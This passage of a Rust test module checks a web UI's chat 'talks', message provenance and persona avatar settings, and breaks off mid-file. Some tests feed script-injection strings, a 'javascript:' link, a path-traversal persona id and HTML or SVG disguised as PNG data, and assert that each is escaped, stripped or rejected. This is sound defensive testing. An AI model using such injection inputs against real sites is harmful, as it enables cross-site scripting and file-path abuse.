13333    }
13334
13335    #[tokio::test]
13336    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
13337        let (_tmp, _repo, f) = talk_fixture().await;
13338
13339        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
13340        // is the ordinary way a phone opens a talk.
13341        let opened = f.post("/api/talks", None).await;
13342        assert_eq!(opened.status, 201, "{}", opened.body);
13343        let body = opened.json();
13344        assert_eq!(body["status"], "open");
13345        assert_eq!(
13346            body["turns"].as_array().unwrap().len(),
13347            0,
13348            "opening takes no agent turn: there is nothing yet to answer"
13349        );
13350
13351        // An explicit empty object is the same request as none at all.
13352        let also_opened = f.post("/api/talks", Some("{}")).await;
13353        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
13354
13355        let listed = f.get("/api/talks").await.json();
13356        assert_eq!(listed.as_array().unwrap().len(), 2);
13357    }
13358
13359    #[tokio::test]
13360    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
13361        let tmp = TempDir::new().expect("tempdir");
13362        let repo = tmp.path().join("repo");
13363        std::fs::create_dir_all(&repo).expect("repo dir");
13364        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
13365        std::fs::write(
13366            repo.join("magi.toml"),
13367            format!("{MOCK_AGENT_TOML}\n{second}"),
13368        )
13369        .expect("write magi.toml");
13370        let home = TempDir::new().expect("temp home");
13371        let talks = Talks::at(home.path().join("talks"));
13372        let ui = Arc::new(
13373            Ui::new(
13374                Queue::at(home.path().join("queue")),
13375                Questions::at(home.path().join("questions")),
13376                talks.clone(),
13377                home.path().join("runs"),
13378                home.path().to_path_buf(),
13379                repo.clone(),
13380            )
13381            .with_worktrees_root(home.path().join("wt")),
13382        );
13383        let cfg = config_for(&repo).await.expect("discover config");
13384        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13385        let id = talk.id.clone();
13386        let call = |agent: &str| {
13387            talk_agent(
13388                State(Arc::clone(&ui)),
13389                Path(id.clone()),
13390                Json(TalkAgent {
13391                    agent: agent.to_owned(),
13392                }),
13393            )
13394        };
13395
13396        let unknown = call("nobody").await.expect_err("unknown agent");
13397        assert_eq!(
13398            unknown.status,
13399            StatusCode::BAD_REQUEST,
13400            "{}",
13401            unknown.message
13402        );
13403
13404        {
13405            // Nothing refused so far took a claim, so the guard is free to take
13406            // and holding it is what makes the talk busy.
13407            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13408            let busy = call("second").await.expect_err("busy talk");
13409            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13410            assert!(
13411                busy.message.contains("a talk turn is running"),
13412                "{}",
13413                busy.message
13414            );
13415            drop(guard);
13416        }
13417        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
13418
13419        let Json(view) = call("second").await.expect("switch");
13420        assert_eq!(view.talk.agent, "second");
13421        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
13422        let saved = talks.get(&id).expect("reload");
13423        assert_eq!(saved.agent, "second");
13424        assert_eq!(saved.turns.len(), 1);
13425        assert!(!view.thinking);
13426        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13427        for agent in ["mock", "second"] {
13428            let Json(view) = call(agent).await.expect("immediate consecutive change");
13429            assert_eq!(view.talk.agent, agent);
13430            assert!(!view.thinking);
13431            assert!(!ui.is_thinking(&id));
13432        }
13433
13434        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
13435            .await
13436            .expect("detail");
13437        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
13438        assert_eq!(roster, ["mock", "second"]);
13439
13440        let mut closed = talks.get(&id).expect("reload");
13441        talk::close(&mut closed, &talks).expect("close");
13442        let refused = call("mock").await.expect_err("closed talk");
13443        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
13444        assert!(
13445            refused.message.contains("takes no more turns"),
13446            "{}",
13447            refused.message
13448        );
13449    }
13450
13451    #[tokio::test]
13452    async fn talk_implementers_validates_and_refuses_busy_or_closed() {
13453        let tmp = TempDir::new().expect("tempdir");
13454        let repo = tmp.path().join("repo");
13455        std::fs::create_dir_all(&repo).expect("repo dir");
13456        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
13457        let home = TempDir::new().expect("temp home");
13458        let talks = Talks::at(home.path().join("talks"));
13459        let ui = Arc::new(
13460            Ui::new(
13461                Queue::at(home.path().join("queue")),
13462                Questions::at(home.path().join("questions")),
13463                talks.clone(),
13464                home.path().join("runs"),
13465                home.path().to_path_buf(),
13466                repo.clone(),
13467            )
13468            .with_worktrees_root(home.path().join("wt")),
13469        );
13470        let cfg = config_for(&repo).await.expect("discover config");
13471        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13472        let id = talk.id.clone();
13473        let call = |n: u8| {
13474            talk_implementers(
13475                State(Arc::clone(&ui)),
13476                Path(id.clone()),
13477                Json(TalkImplementers { implementers: n }),
13478            )
13479        };
13480
13481        for bad in [0u8, 4] {
13482            let e = call(bad).await.expect_err("out of range");
13483            assert_eq!(e.status, StatusCode::BAD_REQUEST, "{}", e.message);
13484        }
13485        assert_eq!(talks.get(&id).expect("reload").implementers, 1);
13486
13487        {
13488            // Nothing refused so far took a claim, so the guard is free to take
13489            // and holding it is what makes the talk busy.
13490            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
13491            let busy = call(2).await.expect_err("busy talk");
13492            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
13493            assert!(
13494                busy.message.contains("a talk turn is running"),
13495                "{}",
13496                busy.message
13497            );
13498            drop(guard);
13499        }
13500
13501        let Json(view) = call(3).await.expect("switch");
13502        assert_eq!(view.talk.implementers, 3);
13503        assert!(talks.get(&id).expect("reload").implementers_dirty);
13504        assert!(!view.thinking);
13505        assert!(!ui.is_thinking(&id), "idle response must release the claim");
13506        for n in [1, 2, 3] {
13507            let Json(view) = call(n).await.expect("immediate consecutive change");
13508            assert_eq!(view.talk.implementers, n);
13509            assert!(!view.thinking);
13510            assert!(!ui.is_thinking(&id));
13511        }
13512
13513        let mut closed = talks.get(&id).expect("reload");
13514        talk::close(&mut closed, &talks).expect("close");
13515        let e = call(2).await.expect_err("closed talk");
13516        assert_eq!(e.status, StatusCode::CONFLICT, "{}", e.message);
13517        assert!(e.message.contains("takes no more turns"), "{}", e.message);
13518    }
13519
13520    /// A repo with `extra` appended to the mock agent's config, and a talk in it.
13521    async fn avatar_fixture(extra: &str) -> (TempDir, TempDir, Arc<Ui>, String, PathBuf) {
13522        let tmp = TempDir::new().expect("tempdir");
13523        let repo = tmp.path().join("repo");
13524        std::fs::create_dir_all(&repo).expect("repo dir");
13525        std::fs::write(
13526            repo.join("magi.toml"),
13527            format!("{MOCK_AGENT_TOML}\n{extra}"),
13528        )
13529        .expect("write magi.toml");
13530        let home = TempDir::new().expect("temp home");
13531        let talks = Talks::at(home.path().join("talks"));
13532        let ui = Arc::new(
13533            Ui::new(
13534                Queue::at(home.path().join("queue")),
13535                Questions::at(home.path().join("questions")),
13536                talks.clone(),
13537                home.path().join("runs"),
13538                home.path().to_path_buf(),
13539                repo.clone(),
13540            )
13541            .with_worktrees_root(home.path().join("wt")),
13542        );
13543        let cfg = config_for(&repo).await.expect("discover config");
13544        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
13545        (tmp, home, ui, talk.id, repo)
13546    }
13547
13548    #[tokio::test]
13549    async fn magi_provenance_view_resolves_legacy_replies_and_mixed_messages() {
13550        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13551        let mut conversation = ui.talks.get(&id).unwrap();
13552        talk::record(
13553            &mut conversation,
13554            &ui.talks,
13555            "# Update on a task you filed\noperator words",
13556            vec![],
13557        )
13558        .unwrap();
13559        // Simulate an old operator record; headings do not prove authorship.
13560        conversation.turns[0].sender = None;
13561        conversation.turns[0].messages.clear();
13562        ui.talks.put(&mut conversation).unwrap();
13563        talk::queue(&mut conversation, &ui.talks, "owner", vec![]).unwrap();
13564        talk::queue_once(&mut conversation, &ui.talks, "automatic report", "notice").unwrap();
13565        talk::drain(&mut conversation, &ui.talks).unwrap();
13566        talk::record_reply(
13567            &mut conversation,
13568            &ui.talks,
13569            "about that report",
13570            vec![],
13571            Some(talk::ReplyTarget {
13572                turn: 1,
13573                message: 1,
13574            }),
13575        )
13576        .unwrap();
13577        conversation.turns[2].messages[0]
13578            .reply
13579            .as_mut()
13580            .unwrap()
13581            .sender = None;
13582        conversation.turns.push(talk::Turn {
13583            sender: Some(talk::Sender::Persona),
13584            who: talk::Who::Agent,
13585            body: "magi: actual persona words".into(),
13586            at: Timestamp::now(),
13587            attachments: vec![],
13588            usage: None,
13589            breaks: None,
13590            messages: vec![],
13591            posted_by: None,
13592        });
13593        ui.talks.put(&mut conversation).unwrap();
13594        let view = TalkView::with_config(
13595            ui.talks.get(&id).unwrap(),
13596            false,
13597            None,
13598            &ui.home,
13599            &ui.references,
13600        );
13601        assert_eq!(view.talk.turns[0].sender, Some(talk::Sender::Operator));
13602        assert_eq!(
13603            view.talk.turns[1].messages[0].sender,
13604            Some(talk::Sender::Operator)
13605        );
13606        assert_eq!(
13607            view.talk.turns[1].messages[1].sender,
13608            Some(talk::Sender::Magi)
13609        );
13610        assert_eq!(
13611            view.talk.turns[2].messages[0]
13612                .reply
13613                .as_ref()
13614                .unwrap()
13615                .sender,
13616            Some(talk::Sender::Magi)
13617        );
13618        assert_eq!(view.talk.turns[3].sender, Some(talk::Sender::Persona));
13619        assert_eq!(view.turn_messages_md[0].len(), 1);
13620        assert!(view.turn_messages_md[0][0].is_none());
13621        assert!(view.turn_messages_md[1][0].is_none());
13622        assert!(view.turn_messages_md[1][1].is_some());
13623    }
13624
13625    #[tokio::test]
13626    async fn notification_display_survives_queue_history_and_reply_without_changing_input() {
13627        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13628        let mut conversation = ui.talks.get(&id).unwrap();
13629        let (body, display) = crate::prompt::chat_watch_report("watch-123", "failed", "output");
13630        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13631        talk::queue_notice(
13632            &mut conversation,
13633            &ui.talks,
13634            &body,
13635            "watch:123",
13636            &|_| false,
13637            None,
13638            display.clone(),
13639        )
13640        .unwrap();
13641        assert!(
13642            !talk::queue_notice(
13643                &mut conversation,
13644                &ui.talks,
13645                &body,
13646                "watch:123",
13647                &|_| false,
13648                None,
13649                display.clone()
13650            )
13651            .unwrap()
13652        );
13653        let saved = ui.talks.get(&id).unwrap();
13654        assert_eq!(saved.pending_messages[0].display, Some(display.clone()));
13655        let view = TalkView::with_config(saved, false, None, &ui.home, &ui.references);
13656        assert!(
13657            view.talk.turns[0].messages[0].display.is_none(),
13658            "operator copy stays literal"
13659        );
13660        assert_eq!(view.talk.pending_messages[0].display, Some(display.clone()));
13661        assert!(view.turn_messages_md[0][0].is_none());
13662        let queued_md = view.pending_messages_md[0].clone();
13663        assert_eq!(
13664            queued_md,
13665            Some(md::to_nodes(&display.facts, &md::ImageBase::None))
13666        );
13667        talk::drain(&mut conversation, &ui.talks).unwrap();
13668        talk::record_reply(
13669            &mut conversation,
13670            &ui.talks,
13671            "Explain",
13672            vec![],
13673            Some(talk::ReplyTarget {
13674                turn: 1,
13675                message: 0,
13676            }),
13677        )
13678        .unwrap();
13679        let mut saved = ui.talks.get(&id).unwrap();
13680        assert_eq!(saved.turns[1].messages[0].body, body);
13681        assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
13682        let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
13683        assert!(!reply.excerpt.contains("automatic report"));
13684        reply.excerpt = body.chars().take(240).collect(); // old saved quote
13685        saved.turns[1].messages[0].display = None; // old MAGI send
13686        ui.talks.put(&mut saved).unwrap();
13687        let view = TalkView::with_config(
13688            ui.talks.get(&id).unwrap(),
13689            false,
13690            None,
13691            &ui.home,
13692            &ui.references,
13693        );
13694        assert_eq!(view.turn_messages_md[1][0], queued_md);
13695        assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
13696        assert!(
13697            !view.talk.turns[2].messages[0]
13698                .reply
13699                .as_ref()
13700                .unwrap()
13701                .excerpt
13702                .contains("automatic report")
13703        );
13704        assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
13705    }
13706
13707    #[tokio::test]
13708    async fn consultation_display_hides_directives_in_queue_and_history() {
13709        for node in [
13710            "implement",
13711            crate::land::APPROVAL_NODE,
13712            crate::github_text::ASK_NODE,
13713        ] {
13714            let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13715            let mut question = Question::new(
13716                "run-123".into(),
13717                node.into(),
13718                "seat-1".into(),
13719                "Which backend?".into(),
13720                "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
13721                vec!["SQLite".into(), "Redis".into()],
13722            );
13723            ui.questions.put(&mut question).unwrap();
13724            let body = crate::prompt::chat_consult(&question);
13725            let mut conversation = ui.talks.get(&id).unwrap();
13726            talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13727            assert!(
13728                crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
13729            );
13730            conversation = ui.talks.get(&id).unwrap();
13731            assert_eq!(conversation.pending_messages[0].body, body);
13732            assert!(body.contains("magi answer"));
13733            let mut legacy_pending = conversation.clone();
13734            legacy_pending.pending_messages[0].display = None;
13735            let legacy_view =
13736                TalkView::with_config(legacy_pending, false, None, &ui.home, &ui.references);
13737            let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
13738            assert!(legacy_md.contains("Question consultation"));
13739            assert!(!legacy_md.contains("magi answer"));
13740            let view =
13741                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13742            assert!(
13743                view.turn_messages_md[0][0].is_none(),
13744                "operator copy stays literal"
13745            );
13746            let queued_md = view.pending_messages_md[0].clone().unwrap();
13747            let rendered = serde_json::to_string(&queued_md).unwrap();
13748            for visible in [
13749                "Which backend?",
13750                "Context",
13751                "storage",
13752                "SQLite",
13753                "Redis",
13754                "<script>literal</script>",
13755            ] {
13756                assert!(rendered.contains(visible), "missing {visible}");
13757            }
13758            for directive in [
13759                "What to do",
13760                "magi answer",
13761                "Never answer it yourself",
13762                "Do not edit the repository",
13763            ] {
13764                assert!(!rendered.contains(directive), "exposed {directive}");
13765            }
13766            assert_eq!(
13767                view.talk.pending_messages[0].display,
13768                Some(crate::prompt::chat_consult_display(&question))
13769            );
13770            talk::drain(&mut conversation, &ui.talks).unwrap();
13771            let view =
13772                TalkView::with_config(conversation.clone(), false, None, &ui.home, &ui.references);
13773            assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
13774            assert_eq!(conversation.turns[1].messages[0].body, body);
13775
13776            // Historical consultations lack a snapshot: show a safe placeholder
13777            // rather than parsing instructions or reconstructing mutable facts.
13778            conversation.turns[1].messages[0].display = None;
13779            let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13780            let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
13781            assert!(legacy.contains("Question consultation"));
13782            assert!(!legacy.contains("magi answer"));
13783            assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13784        }
13785    }
13786
13787    #[test]
13788    fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
13789        let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
13790        let (body, mut display) =
13791            crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
13792        display.facts = facts.into();
13793        let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
13794        assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
13795        let json = serde_json::to_string(&nodes).unwrap();
13796        for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
13797            assert!(json.contains(&format!("\"type\":\"{kind}\"")));
13798        }
13799        assert!(json.contains("<script>alert(1)</script>"));
13800        assert!(!json.contains("javascript:"));
13801        assert!(!json.contains("Tell the operator"));
13802        assert!(!json.contains("untrusted"));
13803        assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
13804        assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
13805        assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
13806        assert_eq!(
13807            notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
13808            md::to_nodes("# Status", &md::ImageBase::None),
13809        );
13810    }
13811
13812    #[tokio::test]
13813    async fn notification_display_recovers_exact_legacy_completion_references() {
13814        let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
13815        let mut conversation = ui.talks.get(&id).unwrap();
13816        let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
13817            id: "task-123",
13818            title: "Change",
13819            status: "done",
13820            reason: None,
13821            run: Some("run-123"),
13822            pr: None,
13823            summary: Some("Merge state unknown"),
13824        });
13825        talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
13826        conversation.turns[0].sender = None;
13827        conversation.turns[0].messages.clear();
13828        conversation.turns[0].breaks = None;
13829        conversation.pending = body.clone();
13830        conversation
13831            .completion_notices
13832            .push(crate::chat_notify::CompletionReference {
13833                task: "task-123".into(),
13834                run: Some("run-123".into()),
13835                notice: body.clone(),
13836            });
13837        ui.talks.put(&mut conversation).unwrap();
13838        let view = TalkView::with_config(
13839            ui.talks.get(&id).unwrap(),
13840            false,
13841            None,
13842            &ui.home,
13843            &ui.references,
13844        );
13845        assert_eq!(
13846            view.talk.turns[0].messages[0].display,
13847            Some(display.clone())
13848        );
13849        assert_eq!(view.talk.pending_messages[0].display, Some(display));
13850        assert_eq!(
13851            view.talk.turns[0].messages[0].sender,
13852            Some(talk::Sender::Magi)
13853        );
13854        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
13855        conversation.completion_notices[0]
13856            .notice
13857            .push_str("different");
13858        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
13859        assert!(view.talk.turns[0].messages.is_empty());
13860        assert!(view.talk.pending_messages.is_empty());
13861    }
13862
13863    #[tokio::test]
13864    async fn avatar_settings_report_states_and_inherit_after_corruption() {
13865        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13866        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
13867            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
13868        ))
13869        .await;
13870        let path = avatar_setting_path(home.path(), Some("rei"));
13871        let orphan = avatar_setting_path(home.path(), Some("removed"));
13872        save_icon_file(&orphan, icon).unwrap();
13873        for (saved, expected) in [
13874            (icon, "custom"),
13875            ("builtin", "builtin"),
13876            ("data:image/png;base64,!!!!", "inherit"),
13877            ("data:image/png;base64,PGh0bWw+", "inherit"),
13878            ("/tmp/avatar.png", "inherit"),
13879        ] {
13880            atomic_icon_write(&path, saved).unwrap();
13881            let catalog =
13882                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
13883                    .await
13884                    .unwrap()
13885                    .0;
13886            let personas = catalog["personas"].as_array().unwrap();
13887            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
13888            assert_eq!(rei["override_state"], expected);
13889            assert_eq!(rei["has_config_icon"], true);
13890            assert_eq!(rei["is_orphan"], false);
13891            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
13892            assert_eq!(removed["override_state"], "custom");
13893            assert_eq!(removed["is_orphan"], true);
13894            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
13895            assert_eq!(default["override_state"], "inherit");
13896            assert_eq!(default["has_config_icon"], false);
13897            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
13898            assert_eq!(
13899                effective.as_deref(),
13900                Some(if expected == "builtin" { "" } else { icon })
13901            );
13902        }
13903    }
13904
13905    #[tokio::test]
13906    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
13907        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
13908        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
13909            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
13910        ))
13911        .await;
13912        let target = |id: Option<&str>| AvatarSettingsQuery {
13913            persona: id.map(str::to_owned),
13914            ..Default::default()
13915        };
13916        let original_config = config_for(&repo).await.unwrap();
13917        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
13918        let original_prompt = persona::section_for(&original_persona, None);
13919        let before = talk_detail(State(ui.clone()), Path(id.clone()))
13920            .await
13921            .unwrap()
13922            .0;
13923        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
13924            let _ = avatar_settings_put(
13925                State(ui.clone()),
13926                Query(target(persona)),
13927                Json(MagiIconUpload { icon: icon.into() }),
13928            )
13929            .await
13930            .unwrap();
13931            let path = avatar_setting_path(home.path(), persona);
13932            assert!(path.starts_with(home.path().join("avatars")));
13933            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13934            for bad in [
13935                "/tmp/image.png".to_owned(),
13936                "data:image/png;base64,!!!!".to_owned(),
13937                "data:image/png;base64,PGh0bWw+".to_owned(),
13938                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
13939                format!(
13940                    "data:image/png;base64,{}",
13941                    "A".repeat(persona_icon::ICON_MAX_BYTES)
13942                ),
13943            ] {
13944                assert!(
13945                    avatar_settings_put(
13946                        State(ui.clone()),
13947                        Query(target(persona)),
13948                        Json(MagiIconUpload { icon: bad })
13949                    )
13950                    .await
13951                    .is_err()
13952                );
13953                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
13954            }
13955        }
13956        assert!(read_magi_icon(home.path()).is_none());
13957        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
13958        let after = talk_detail(State(ui.clone()), Path(id.clone()))
13959            .await
13960            .unwrap()
13961            .0;
13962        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
13963        assert_ne!(
13964            before
13965                .personas
13966                .iter()
13967                .find(|p| p.id == "magi")
13968                .unwrap()
13969                .avatar,
13970            after
13971                .personas
13972                .iter()
13973                .find(|p| p.id == "magi")
13974                .unwrap()
13975                .avatar
13976        );
13977        let restarted = Arc::new(Ui::new(
13978            Queue::at(home.path().join("queue")),
13979            Questions::at(home.path().join("questions")),
13980            Talks::at(home.path().join("talks")),
13981            home.path().join("runs"),
13982            home.path().to_owned(),
13983            repo,
13984        ));
13985        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
13986            .await
13987            .unwrap()
13988            .0;
13989        assert!(
13990            catalog["personas"]
13991                .as_array()
13992                .unwrap()
13993                .iter()
13994                .any(|p| p["id"] == "../custom/日本語")
13995        );
13996        for expected in ["custom", "default", "rei"] {
13997            assert!(
13998                catalog["personas"]
13999                    .as_array()
14000                    .unwrap()
14001                    .iter()
14002                    .any(|p| p["id"] == expected)
14003            );
14004        }
14005        let response =
14006            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
14007        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14008        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
14009            .await
14010            .unwrap();
14011        assert_eq!(
14012            effective_persona_icon(home.path(), "rei", Some(icon)),
14013            Some(String::new())
14014        );
14015        let response = talk_avatar(
14016            State(restarted.clone()),
14017            Path(id.clone()),
14018            Query(AvatarQuery {
14019                persona: Some("rei".into()),
14020                ..Default::default()
14021            }),
14022        )
14023        .await
14024        .unwrap();
14025        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
14026        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
14027            .await
14028            .unwrap()
14029            .0;
14030        assert_ne!(
14031            after
14032                .personas
14033                .iter()
14034                .find(|p| p.id == "rei")
14035                .unwrap()
14036                .avatar,
14037            reset
14038                .personas
14039                .iter()
14040                .find(|p| p.id == "rei")
14041                .unwrap()
14042                .avatar
14043        );
14044        let mut inherit = target(Some("rei"));
14045        inherit.inherit = Some("1".into());
14046        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
14047            .await
14048            .unwrap();
14049        assert_eq!(
14050            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
14051            Some(icon)
14052        );
14053        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
14054            .await
14055            .unwrap();
14056        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
14057        assert_eq!(
14058            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
14059            Some(icon)
14060        );
14061        // Display changes never rewrite the conversation or its prompt-bearing config.
14062        let cfg = config_for(&ui.repo).await.unwrap();
14063        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
14064        assert_eq!(persona::section_for(&resolved, None), original_prompt);
14065        assert!(!original_prompt.contains("data:image"));
14066        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
14067        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
14068        assert!(!stored.contains("data:image"));
14069        let mut orphan = ui.talks.get(&id).unwrap();
14070        orphan.persona = "../custom/日本語".into();
14071        let view = TalkView::with_config(
14072            orphan,
14073            false,
14074            Some(&cfg),
14075            home.path(),
14076            &id_links::IndexCache::default(),
14077        );
14078        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
14079    }
14080
14081    #[tokio::test]
14082    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
14083        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
14084        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14085        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
14086        let _ = magi_icon_put(
14087            State(ui.clone()),
14088            Json(MagiIconUpload { icon: icon.into() }),
14089        )
14090        .await
14091        .unwrap();
14092        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
14093        assert_ne!(original, changed);
14094        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14095        let response = magi_avatar(
14096            State(ui.clone()),
14097            Query(AvatarQuery {
14098                persona: None,
14099                builtin: None,
14100            }),
14101        )
14102        .await;
14103        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
14104        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
14105        assert_eq!(
14106            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
14107            "nosniff"
14108        );
14109        for bad in [
14110            "data:image/png;base64,PGh0bWw+".to_owned(),
14111            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
14112            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
14113        ] {
14114            assert!(save_magi_icon(home.path(), &bad).is_err());
14115            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
14116        }
14117        // Re-opened server state reads the same independent home file.
14118        let restarted = Arc::new(Ui::new(
14119            Queue::at(home.path().join("queue")),
14120            Questions::at(home.path().join("questions")),
14121            Talks::at(home.path().join("talks")),
14122            home.path().join("runs"),
14123            home.path().to_path_buf(),
14124            repo,
14125        ));
14126        assert_eq!(
14127            magi_icon_get(State(restarted.clone())).await.0["avatar"],
14128            changed
14129        );
14130        let view = TalkView::with_config(
14131            restarted.talks.get(&id).unwrap(),
14132            false,
14133            None,
14134            &restarted.home,
14135            &restarted.references,
14136        );
14137        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
14138        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
14139        let response = magi_avatar(
14140            State(ui.clone()),
14141            Query(AvatarQuery {
14142                persona: None,
14143                builtin: None,
14144            }),
14145        )
14146        .await;
14147        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
14148            .await
14149            .unwrap();
14150        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
14151        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
14152        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
14153        let _ = magi_icon_delete(State(ui)).await.unwrap();
14154    }
14155
14156    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
14157    async fn avatar(
14158        ui: &Arc<Ui>,
14159        id: &str,
14160        persona: Option<&str>,
14161        builtin: bool,
14162    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
14163        let res = talk_avatar(
14164            State(Arc::clone(ui)),
14165            Path(id.to_owned()),
14166            Query(AvatarQuery {
14167                persona: persona.map(str::to_owned),
14168                builtin: builtin.then(|| "1".to_owned()),
14169            }),
14170        )
14171        .await
14172        .expect("an avatar is never an error response");
14173        let h = res.headers();
14174        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
14175        let nosniff = h
14176            .get(header::X_CONTENT_TYPE_OPTIONS)
14177            .is_some_and(|v| v == "nosniff");
14178        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
14179        let status = res.status();
14180        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
14181            .await
14182            .expect("body")
14183            .to_vec();
14184        (status, ct, nosniff, csp, body)
14185    }
14186
14187    fn tiny_png() -> Vec<u8> {
14188        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
14189        b.extend_from_slice(&[0u8; 32]);
14190        b
14191    }
14192
14193    #[tokio::test]
14194    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
